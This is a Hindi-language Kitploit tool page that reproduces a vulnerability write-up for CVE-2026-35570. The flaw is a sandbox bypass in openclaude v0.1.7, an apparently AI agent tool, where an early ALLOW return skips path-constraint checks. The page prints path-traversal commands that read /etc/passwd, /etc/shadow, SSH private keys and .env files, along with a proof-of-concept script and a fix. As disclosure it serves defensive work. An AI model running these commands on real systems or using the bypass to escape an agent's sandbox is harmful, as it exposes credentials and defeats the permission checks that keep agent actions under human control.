Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-35570 — # CVE-2026-35570: openclaude v0.1.7 में सैंडबॉक्स बाईपास CVE-2026-35570 के लिए विस्तृत विवरण और प्रूफ-ऑफ-कॉन्सेप्ट, जो openclaude v0.1.7 में एक सैंडबॉक्स बाईपास है, जो पाथ ट्रैवर्सल के माध्यम से सैंडबॉक्स के बाहर मनमानी फाइलों को पढ़ने और लिखने की अनुमति देता है। | Kitploit
उपकरण/GitHubGitHub/rickidevs/cve-2026-35570
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब सुरक्षा
GitHubrickidevs/cve-2026-35570

CVE-2026-35570

# CVE-2026-35570: openclaude v0.1.7 में सैंडबॉक्स बाईपास CVE-2026-35570 के लिए विस्तृत विवरण और प्रूफ-ऑफ-कॉन्सेप्ट, जो openclaude v0.1.7 में एक सैंडबॉक्स बाईपास है, जो पाथ ट्रैवर्सल के माध्यम से सैंडबॉक्स के बाहर मनमानी फाइलों को पढ़ने और लिखने की अनुमति देता है।

रिपॉजिटरी देखें
14 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

सैंडबॉक्स से बाहर निकलना: मैंने openclaude में एक गंभीर पाथ ट्रैवर्सल बाईपास कैसे खोजा

CVE-2026-35570 | CVSS 8.4 (उच्च) | openclaude v0.1.7


हर कमजोरी के लिए परिष्कृत एक्सप्लॉइट चेन की आवश्यकता नहीं होती। कभी-कभी एक गलत जगह रखा गया return स्टेटमेंट ही आपके सुरक्षा मॉडल में छेद करने के लिए पर्याप्त होता है। CVE-2026-35570 बिल्कुल यही है।

यह राइट-अप एक सैंडबॉक्स बाईपास को कवर करता है जो मैंने openclaude v0.1.7 में पाया — एक लॉजिक दोष जो पाथ ट्रैवर्सल पेलोड को बिना किसी जांच के फाइलसिस्टम आइसोलेशन परत से सीधे गुजरने देता है।


मैंने इसे कैसे खोजा

मैं bashPermissions.ts से गुजर रहा था जब कंट्रोल फ्लो में कुछ ने मेरा ध्यान खींचा। अनुमति लॉजिक पहली नज़र में उचित लग रहा था — अगर हम सैंडबॉक्स में हैं, तो कमांड को स्वतः अनुमति दें; अन्यथा, उपयोगकर्ता से पूछें। काफी साफ।

लेकिन एक सवाल मुझे लगातार परेशान कर रहा था: पाथ कंस्ट्रेंट जांच वास्तव में कहाँ होती है?

मैंने bashToolHasPermission() को शुरू से अंत तक ट्रेस किया और निष्पादन पथ का मानचित्रण किया:

root@kitploit:~
bashToolHasPermission()
    │
    ├─ [~1445] सैंडबॉक्स ऑटो-अलाउ ब्लॉक
    │       └─ कोई डिनाय नियम नहीं मिला → return ALLOW  ⚠️ जल्दी बाहर निकलना
    │
    └─ [~1644] checkPathConstraints()              ❌ कभी नहीं पहुँचा

सैंडबॉक्स ब्लॉक सैंडबॉक्स वातावरण में इंटरैक्टिव अनुमति प्रॉम्प्ट को छोड़ने के लिए बनाया गया था। पूरी तरह उचित। समस्या यह है कि जब यह ALLOW लौटाता है, फ़ंक्शन वहीं से बाहर निकल जाता है। checkPathConstraints() — जो वास्तव में पाथ ट्रैवर्सल को पकड़ने के लिए जिम्मेदार है — कभी नहीं चलता।


वास्तव में क्या हो रहा है

bashToolHasPermission() के अंदर, सैंडबॉक्स ऑटो-अलाउ ब्लॉक इस लॉजिक का पालन करता है:

  1. क्या सैंडबॉक्सिंग सक्षम है? → हाँ
  2. क्या ऑटो-अलाउ सक्षम है? → हाँ
  3. क्या इस सत्र के लिए कोई स्पष्ट डिनाय नियम है? → नहीं
  4. → ALLOW लौटाएँ और फ़ंक्शन से बाहर निकलें

उस बिंदु पर, checkPathConstraints() पूरी तरह से बाईपास हो जाता है। पाथ ट्रैवर्सल फ़िल्टर को कुछ भी करने का मौका नहीं मिलता।

हमलावर के दृष्टिकोण से, इसका मतलब है कि ऐसे कमांड सीधे गुजर जाते हैं:

root@kitploit:~
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env

ये सभी behavior: allow के साथ लौटते हैं। कोई प्रॉम्प्ट नहीं। कोई ब्लॉक नहीं। कुछ भी नहीं।


प्रभाव

इस दोष के मौजूद होने पर तीन चीजें संभव हो जाती हैं:

मनमानी फ़ाइल रीडिंग। सैंडबॉक्स सीमा के बाहर की कोई भी चीज़ खेल में है — /etc/passwd, /etc/shadow, SSH प्राइवेट कीज़, .env फ़ाइलें। जब तक OS-स्तर की अनुमतियाँ अनुमति देती हैं, फ़ाइल पढ़ी जा सकती है।

मनमानी फ़ाइल राइटिंग। वही लॉजिक उल्टा भी लागू होता है। एक हमलावर सैंडबॉक्स के बाहर के पथों पर लिख सकता है, जो कॉन्फ़िग फ़ाइलों को अधिलेखित करने या अप्रत्याशित स्थानों पर सामग्री डालने का द्वार खोलता है।

पूर्ण सैंडबॉक्स आइसोलेशन विफलता। सैंडबॉक्स का पूरा उद्देश्य फाइलसिस्टम सीमाओं को लागू करना है। इस बग के मौजूद होने पर, वह गारंटी बेकार है।

CVSS v3.1: 8.4 (उच्च) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N


समाधान

समाधान वैचारिक रूप से सीधा है। सैंडबॉक्स ऑटो-अलाउ ब्लॉक को इंटरैक्टिव प्रॉम्प्ट को दबाना चाहिए — बस इतना ही। इसे कभी भी पूर्ण अनुमति पाइपलाइन को शॉर्ट-सर्किट नहीं करना चाहिए।

root@kitploit:~
if (
  SandboxManager.isSandboxingEnabled() &&
  SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
  shouldUseSandbox(input)
) {
  const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);

  if (sandboxResult.behavior !== 'allow') {
    // केवल डिनाय या आस्क के लिए जल्दी लौटें — अलाउ पर पाथ जांच कभी न छोड़ें
    return sandboxResult;
  }

  // अगर अलाउ है, तो नीचे checkPathConstraints पर गिरें
}

// पाथ ट्रैवर्सल जांच हमेशा चलनी चाहिए
return checkPathConstraints(input, appState.toolPermissionContext);

यहाँ नियम सरल है: सैंडबॉक्स ऑटो-अलाउ प्रॉम्प्ट को छोड़ता है, सुरक्षा जांच को नहीं।


प्रभावित संस्करण

फ़ील्डविवरण
पैकेजopenclaude
प्रभावित संस्करणv0.1.7
पैच किया गया संस्करणकोई नहीं
CVECVE-2026-35570
CVSS8.4 (उच्च)

प्रूफ ऑफ कॉन्सेप्ट

आवश्यकताएँ

  • Node.js >= 18
  • openclaude v0.1.7

चरण 1 — क्लोन और इंस्टॉल करें

root@kitploit:~
git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install

चरण 2 — सैंडबॉक्स मोड सक्षम करें

openclaude को सैंडबॉक्स और ऑटो-अलाउ फ्लैग के साथ लॉन्च करें:

root@kitploit:~
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude

वेरिएबल नाम थोड़े भिन्न हो सकते हैं। अपने बिल्ड के लिए सटीक एनवायरनमेंट वेरिएबल मैपिंग की पुष्टि करने हेतु SandboxManager क्लास देखें।

चरण 3 — टेस्ट स्क्रिप्ट चलाएँ

निम्नलिखित को प्रोजेक्ट रूट में poc.ts के रूप में सहेजें:

root@kitploit:~
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';

// सैंडबॉक्स स्थितियाँ सेट करें
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);

// पाथ ट्रैवर्सल के साथ पेलोड
const maliciousInput = {
  command: 'cat ../../../../../etc/passwd'
};

const fakeAppState = {
  toolPermissionContext: {
    allowedPaths: ['/tmp/sandbox'],
    deniedPaths: []
  }
};

const result = bashToolHasPermission(maliciousInput, fakeAppState);

console.log('Result:', result.behavior);
// अपेक्षित:  "deny"   — पाथ ट्रैवर्सल ब्लॉक होना चाहिए
// वास्तविक:    "allow"  ← कमजोरी की पुष्टि

फिर इसे चलाएँ:

root@kitploit:~
npx ts-node poc.ts

चरण 4 — आउटपुट देखें

आप देखेंगे:

root@kitploit:~
Result: allow

checkPathConstraints() कभी कॉल नहीं हुआ। इसे स्वयं पुष्टि करने के लिए, bashPermissions.ts में एक लॉग लाइन डालें:

root@kitploit:~
// लगभग लाइन 1644
function checkPathConstraints(input, context) {
  console.log('checkPathConstraints was called'); // यह कभी प्रिंट नहीं होगा
  // ...
}

स्क्रिप्ट फिर से चलाएँ। लॉग दिखाई नहीं देगा — फ़ंक्शन वास्तव में छोड़ा जा रहा है।

चरण 5 — वास्तविक इंटरफ़ेस में पुनरुत्पादन

openclaude को सैंडबॉक्स सत्र में खोलें और निम्नलिखित कमांड सबमिट करें:

root@kitploit:~
cat ../../../../../etc/passwd

यह बिना किसी अनुमति प्रॉम्प्ट या ब्लॉक के निष्पादित होता है, और /etc/passwd की सामग्री सीधे डंप कर देता है।


CVE-2026-35570

टूल डाउनलोड करें